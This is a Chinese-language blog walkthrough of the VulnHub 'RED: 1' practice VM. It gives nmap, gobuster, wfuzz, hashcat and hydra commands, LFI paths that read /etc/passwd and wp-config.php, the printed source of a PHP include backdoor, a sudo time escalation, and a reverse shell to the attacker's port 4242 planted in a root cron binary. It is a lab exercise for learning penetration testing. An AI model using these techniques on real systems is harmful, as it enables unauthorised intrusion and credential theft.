• Vulhub实战靶场 RED: 1


    一、环境搭建

    1、靶场下载链接:https://www.vulnhub.com/entry/red-1,753/,该靶场为模拟实战靶场,你扮演了一个电脑网站被植入后门,丢失了自己的管理权限了,需要一步步重新夺回自己的root管理权限。

    2、导入Oracle VM VirtualBox

    3、将网卡设置为桥接模式方便测试

    4、直接启动靶场即可

    二、攻略步骤

    1、信息发现,hostname -I,获取攻击机ip地址网段

     2、nmap -sP --min-hostgroup 1024 --min-parallelism 1024  192.168.1.0/24,探测靶场ip

    3、nmap -sS -A  192.168.1.103,探测靶场启动的端口服务信息,探测到靶场启动的端口为22、80

    4、nmap探测到,靶场系统为Ubuntu,80端口使用的框架为WordPress 5.8.1,访问靶场的80端口去收集更多信息

    直接访问,是一些嘲讽信息,不是正常的网站页面,查看网站源码,发现href标签里,跳转的wp页面,域名都是redrocks.win

    5、修改hosts文件,加入解析,使用域名访问网站,正常显示

     

     访问最大的Hello Blue嘲讽页面

    在源码中发现提示,正常的英语语句的书写方法是每句话第一个首字母大写,从之后的正常语句也可以看出,整个句子只有第一句话的单词首字母都大写了,而大写的字母组合在一起是LFI,所以可以猜测,这个网站存在的漏洞是一个LFI(文件包含漏洞),因为WordPress是PHP的框架,可能red就是先一步在这里植入了一个php的webshell文件

     使用gobuster 爆破目录文件,使用的常见后门文件名字典下载链接为:https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt

    输入命令:gobuster dir -w CommonBackdoors-PHP.fuzz.txt -x .php -u http://redrocks.win/ -o dir.txt -z

    发现后门文件/NetworkFileManagerPHP.php

     

     6、搜索引擎,搜索后门文件,在github中可以发现他的webshell源码

    接下来就是直接利用了,因为现在不清楚后门传入的参数使用的名称,所以使用wfuzz来进行爆破常见的参数名,使用的字典为SecLists中的字典,我一部分一部分的爆破,因为工作电脑性能不行,跑大量的数据包不准确,无法爆破出正确参数,输入命令:wfuzz -c -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt

     

    7、尝试传入参数,确实可以使用,是一个文件包含webshell

    访问链接: http://redrocks.win/NetworkFileManagerPHP.php?key=../../../../etc/passwd

    8、使用BurpSuite抓包,修改参数使用php伪协议读取后门源码

    使用base64解码

    该后门文件源码为:

    <?php
    $file = $_GET['key'];
    if(isset($file))
    {
    include("$file");
    }
    else
    {
    include("NetworkFileManagerPHP.php");
    }
    /* VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw== */
    ?>

    再次发现提示,提示为base64编码

     说的是密码、Hashcat规则什么的,现在不太明白。既然使用的WordPress,那就读取他的wp-config.php配置文件来看看有没有信息

     解码之后,得到数据库账号密码

    用户名:john、密码:R3v_m4lwh3r3_k1nG!!

     9、查看passwd文件中,发现有同名的账户john,所以使用得到的账号密码,然后ssh登录不成功

     10、想到了之前的英语提示,翻译了一下,意思就是单靠密码不行,还需要hashcat规则

    kali中有hashcat工具,他所有的加密都是用的base64加密,所以使用hacat用base64的规则命令生成爆破字典

    输入命令:hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > passlist.txt

    pass.txt为得到的原始密码,passlist.txt为根据密码生成的符合规则的密码

     11、使用生成的字典文件爆破ssh账户,输入命令:hydra -l john -P passlist.txt 192.168.1.103 ssh,成功爆破出密码

    12、登录ssh成功,

    发现几点问题

    1)过几分钟就会被断开连接,而且密码都会换,需要重新爆破出新密码

    2)登录之后查看文件,发现vi跟cat命令相反了,也就是vi实现的为cat的功能

    3)不时的在shell中会出现干扰语句,真是第一次见到这样的靶场

     

    三、提权

    1、在ssh登录之后,收集信息,访问到了ippsec和oxdf目录下存在user.txt,应该是需要提权得到的flag

    2、输入命令:sudo -l,查看到ippsec不需要密码就提权的命令有time

     

     3、输入命令:sudo -u ippsec /usr/bin/time /bin/bash,得到一个假的flag,看来真的flag还是在root账户下

     4、输入命令:find / -group ippsec -type d 2>/dev/null | grep -v proc,看看ippsec账户能有什么文件的权限,发现了wordpress下的.git目录

     5、发现ippsec是可以在.git目录中写入文件的,在目录中发现有隐藏的.c程序

     6、运行隐藏目录中的.rev,发现是执行.c程序的

     7、反弹一个账户ippsec的shell

    在/dev/shm目录下,编辑一个反弹shell的脚本,执行之后,成功得到一个ippsec的shell

     

    为了维持shell的稳定,不在被踢出去,在反弹的shell中输入:python3 -c 'import pty;pty.spawn("/bin/bash")'

    用python在维持一下shell的稳定,多输入两次,虽然还可以接收到red的信息,但是现在就稳定了

    8、维持好shell之后,赋予pspy64s执行权限,寻找可利用提权方法,下载链接:https://github.com/DominicBreuker/pspy/releases/tag/v1.2.0 

    首先在放到攻击电脑的apache目录,打开apache之后在靶场反弹的shell中执行wget命令,下载之后执行找提权的方法

     

    9、每过2分钟,在.git目录中的rev就会以root用户权限执行一次,而当前的ippsec用户有这个目录的读写权限,所以可以直接利用

    首先,删除掉当前的dev和supersecretfileuc.c文件,然后将c语言用的反弹shell脚本重命名相同的名称,替换到.git目录中,等待反弹shell,

    需要注意的是supersecretfileuc.c是反弹shell的源码,dev为编译之后的程序

    在攻击机监听4242端口之后,成功得到root权限的shell,拿到root目录下的flag

    四、总结

    第一次玩到这种模拟攻防实战一样的靶场,非常的有意思,攻击过程中会不断的干扰攻击者,不时发送垃圾话还有定期改密码,都很有意思,感觉有意思的可以自己搭建玩一下。

    最后的攻击机和靶场的ip变化是因为换网络环境了。

  • 相关阅读:
    2019春季第五周作业
    第四周作业
    第三周作业编程总结
    第四周编程总结
    第三周编程总结
    2019春第一周作业编程总结
    我人生中对我影响深刻的三个老师
    秋季学习总结
    自我介绍
    2019春第10周作业
  • 原文地址:https://www.cnblogs.com/sym945/p/16446455.html
Copyright © 2020-2023  润新知